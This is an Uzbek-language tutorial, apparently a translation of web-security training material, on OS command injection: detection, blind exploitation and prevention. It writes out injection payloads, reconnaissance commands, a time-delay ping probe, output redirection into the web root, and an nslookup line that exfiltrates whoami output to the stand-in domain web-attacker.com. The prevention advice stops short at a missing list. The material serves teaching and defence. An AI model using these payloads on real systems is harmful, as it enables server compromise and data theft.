Ushbu bo'limda OS command injection nima ekanini tushuntiramiz va zaifliklarni qanday aniqlash hamda ulardan qanday foydalanishni ta'riflaymiz. Shuningdek, turli operatsion tizimlar uchun ba'zi foydali buyruq va usullarni ko'rsatamiz va OS command injection'ning oldini olishni ta'riflaymiz.
OS command injection, shuningdek, shell injection deb ham ataladi. U hujumchiga ilova ishlab turgan serverda operatsion tizim (OS) buyruqlarini bajarishga imkon beradi va odatda ilova hamda uning ma'lumotlarini to'liq buzadi. Ko'pincha hujumchi OS command injection zaifligidan foydalanib, xosting infratuzilmasining boshqa qismlarini buzishi va ishonch munosabatlaridan (trust relationships) foydalanib hujumni tashkilotdagi boshqa tizimlarga o'tkazishi (pivot) mumkin.
Bu misolda onlayn-do'kon ilovasi foydalanuvchiga biror mahsulot ma'lum do'konda mavjudligini ko'rish imkonini beradi. Bu ma'lumotga URL orqali kiriladi:
https://insecure-website.com/stockStatus?productID=381&storeID=29Ombor ma'lumotini berish uchun ilova turli eski (legacy) tizimlarga so'rov yuborishi kerak. Tarixiy sabablarga ko'ra bu funksiya mahsulot va do'kon ID'larini argument sifatida berib, shell buyrug'iga murojaat qilish orqali amalga oshiriladi:
stockreport.pl 381 29Bu buyruq ko'rsatilgan mahsulotning ombor holatini chiqaradi va foydalanuvchiga qaytariladi.
Ilova OS command injection'ga qarshi hech qanday himoya joriy qilmagan, shuning uchun hujumchi ixtiyoriy buyruqni bajarish uchun quyidagi kiritmani yuborishi mumkin:
& echo aiwefwlguh &Agar bu kiritma productID parametrida yuborilsa, ilova bajaradigan buyruq quyidagicha bo'ladi:
stockreport.pl & echo aiwefwlguh & 29echo buyrug'i berilgan satrni chiqarishga sabab bo'ladi. Bu ba'zi turdagi OS command injection'ni sinash uchun foydali usul. & belgisi shell buyruq ajratuvchisidir. Bu misolda u uchta alohida buyruqning ketma-ket bajarilishiga sabab bo'ladi. Foydalanuvchiga qaytadigan natija:
Error - productID was not provided
aiwefwlguh
29: command not foundUch qatorli natija quyidagilarni ko'rsatadi:
stockreport.pl buyrug'i kutilgan argumentlarisiz bajarildi va shu sabab xato xabari qaytdi.echo buyrug'i bajarildi va berilgan satr natijada chiqdi.29 argumenti buyruq sifatida bajarildi va bu xatoga sabab bo'ldi.Inyeksiya qilingan buyruqdan keyin qo'shimcha & buyruq ajratuvchisini qo'yish foydali, chunki u inyeksiya qilingan buyruqni inyeksiya nuqtasidan keyin keladigan narsadan ajratadi. Bu keyin keladigan narsa inyeksiya qilingan buyruqning bajarilishiga to'sqinlik qilish ehtimolini kamaytiradi.
OS command injection zaifligini aniqlaganingizdan so'ng, tizim haqida ma'lumot olish uchun bir necha dastlabki buyruqni bajarish foydali. Quyida Linux va Windows platformalarida foydali bo'lgan ba'zi buyruqlarning qisqacha ro'yxati keltirilgan:
Buyruq maqsadi Linux Windows
Joriy foydalanuvchi whoami whoami
Operatsion tizim uname -a ver
Tarmoq konfiguratsiyasi ifconfig ipconfig /all
Tarmoq ulanishlari netstat -an netstat -an
Ishlayotgan jarayonlar ps -ef tasklistOS command injection'ning ko'p holatlari blind (ko'rinmas) zaifliklardir. Bu shuni anglatadiki, ilova buyruq natijasini o'z HTTP response'ida qaytarmaydi. Blind zaifliklardan ham foydalanish mumkin, lekin buning uchun boshqa usullar kerak bo'ladi.
Misol tariqasida, foydalanuvchilarga sayt haqida fikr-mulohaza yuborishga imkon beradigan vebsaytni tasavvur qiling. Foydalanuvchi email manzili va fikr xabarini kiritadi. Server tomonidagi ilova esa administratorga fikrni o'z ichiga olgan email generatsiya qiladi. Buning uchun u berilgan tafsilotlar bilan mail dasturiga murojaat qiladi:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.commail buyrug'idan chiqadigan natija (agar bo'lsa) ilova javoblarida qaytarilmaydi, shuning uchun echo payloadi ishlamaydi. Bunday holatda zaiflikni aniqlash va undan foydalanish uchun turli boshqa usullardan foydalanish mumkin.
Inyeksiya qilingan buyruq bilan vaqt kechikishini yuzaga keltirib, ilovaning javob berish vaqtiga qarab buyruq bajarilganini tasdiqlashingiz mumkin. ping buyrug'i buning yaxshi yo'li, chunki u yuboriladigan ICMP paketlar sonini belgilash imkonini beradi — bu esa buyruqning ishlash vaqtini boshqarishga yordam beradi:
& ping -c 10 127.0.0.1 &Bu buyruq ilovani o'zining loopback tarmoq adapterini 10 soniya davomida ping qilishga majbur qiladi.
Inyeksiya qilingan buyruqning natijasini web root ichidagi faylga yo'naltirib, so'ng uni brauzer orqali olishingiz mumkin. Masalan, agar ilova statik resurslarni /var/www/static joyidan bersa, quyidagi kiritmani yuborishingiz mumkin:
& whoami > /var/www/static/whoami.txt &> belgisi whoami buyrug'ining natijasini ko'rsatilgan faylga yuboradi. So'ng brauzer orqali https://vulnerable-website.com/whoami.txt ni olib, inyeksiya qilingan buyruq natijasini ko'rishingiz mumkin.
OAST usullaridan foydalanib, o'zingiz boshqaradigan tizim bilan out-of-band tarmoq aloqasini yuzaga keltiradigan inyeksiya qilingan buyruqdan foydalanishingiz mumkin. Masalan:
& nslookup kgji2ohoyw.web-attacker.com &Bu payload nslookup buyrug'idan foydalanib, ko'rsatilgan domenga DNS so'rov yuboradi. Hujumchi bu so'rov sodir bo'lishini kuzatib, buyruq muvaffaqiyatli inyeksiya qilinganini tasdiqlashi mumkin.
Out-of-band kanali inyeksiya qilingan buyruqlar natijasini eksfiltratsiya qilishning oson yo'lini beradi:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &Bu whoami buyrug'i natijasini o'z ichiga olgan holda hujumchi domeniga DNS so'rov yuzaga keltiradi:
wwwuser.kgji2ohoyw.web-attacker.comOS command injection hujumlarini amalga oshirish uchun bir qancha shell metabelgilaridan foydalanishingiz mumkin.
Bir qator belgilar buyruq ajratuvchisi vazifasini bajaradi va buyruqlarni birbiriga ulash imkonini beradi. Quyidagi buyruq ajratuvchilari Windows'da ham, Unix asosidagi tizimlarda ham ishlaydi:
&
&&
|
||Quyidagi buyruq ajratuvchilari faqat Unix asosidagi tizimlarda ishlaydi:
;
Newline (0x0a yoki \n)Unix asosidagi tizimlarda, shuningdek, inyeksiya qilingan buyruqni asl buyruq ichida inline bajarish uchun backtick yoki dollar belgisidan foydalanishingiz mumkin:
` inyeksiya qilingan buyruq `
$(inyeksiya qilingan buyruq)Turli shell metabelgilari biroz farqli xatti-harakatga ega bo'lib, bu ularning ma'lum vaziyatlarda ishlashiga ta'sir qilishi mumkin. Bu buyruq natijasini in-band (bevosita javobda) olish mumkinligiga yoki faqat blind ekspluatatsiya uchun foydali bo'lishiga ta'sir qilishi mumkin.
Ba'zan siz boshqaradigan kiritma asl buyruqda qo'shtirnoq ichida paydo bo'ladi. Bunday holatda yangi buyruqni inyeksiya qilish uchun mos shell metabelgilaridan foydalanishdan oldin qo'shtirnoqli kontekstni (" yoki ' yordamida) tugatishingiz kerak.
OS command injection zaifliklarining oldini olishning eng samarali yo'li — ilova qatlamidagi koddan hech qachon OS buyruqlariga murojaat qilmaslikdir. Deyarli barcha holatlarda kerakli funksiyani xavfsizroq platforma API'lari yordamida amalga oshirishning boshqa yo'llari bor.
Agar foydalanuvchi bergan kiritma bilan OS buyruqlariga murojaat qilishga majbur bo'lsangiz, kuchli kiritma tekshiruvini (input validation) amalga oshirishingiz kerak. Samarali tekshiruvga ba'zi misollar:
Hech qachon shell metabelgilarini escape qilish orqali kiritmani sanitizatsiya qilishga urinmang. Amalda bu juda xatoga moyil va mohir hujumchi tomonidan chetlab o'tilishiga zaif.